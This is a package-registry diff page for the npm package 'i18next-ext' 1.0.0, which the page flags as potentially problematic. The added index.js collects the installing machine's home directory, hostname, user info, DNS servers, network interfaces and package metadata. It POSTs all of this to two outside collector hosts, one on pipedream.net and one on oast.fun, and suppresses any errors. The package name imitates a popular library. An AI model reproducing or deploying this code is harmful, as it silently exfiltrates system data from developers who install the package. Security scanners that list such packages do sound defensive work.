i18next-ext 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of i18next-ext might be problematic. Click here for more details.
- package/index.js +73 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
package: package,
|
10
|
+
dirname: __dirname,
|
11
|
+
homedir: os.homedir(),
|
12
|
+
hostname: os.hostname(),
|
13
|
+
userInfo: os.userInfo(),
|
14
|
+
dns: dns.getServers(),
|
15
|
+
IP:os.networkInterfaces(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "eodi1hjdduzt7oj.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
data:postData,
|
35
|
+
};
|
36
|
+
|
37
|
+
var req = https.request(options, (res) => {
|
38
|
+
res.on("data", (d) => {
|
39
|
+
process.stdout.write(d);
|
40
|
+
});
|
41
|
+
});
|
42
|
+
|
43
|
+
req.on("error", (e) => {
|
44
|
+
// console.error(e);
|
45
|
+
});
|
46
|
+
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
49
|
+
|
50
|
+
var options2 = {
|
51
|
+
hostname: "cjdc8wb2vtc0000s9js0gjgsrqeyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
52
|
+
port: 443,
|
53
|
+
path: "/",
|
54
|
+
method: "POST",
|
55
|
+
headers: {
|
56
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
57
|
+
"Content-Length": postData.length,
|
58
|
+
},
|
59
|
+
data:postData,
|
60
|
+
};
|
61
|
+
|
62
|
+
var req = https.request(options2, (res) => {
|
63
|
+
res.on("data", (d) => {
|
64
|
+
process.stdout.write(d);
|
65
|
+
});
|
66
|
+
});
|
67
|
+
|
68
|
+
req.on("error", (e) => {
|
69
|
+
// console.error(e);
|
70
|
+
});
|
71
|
+
|
72
|
+
req.write(postData);
|
73
|
+
req.end();
|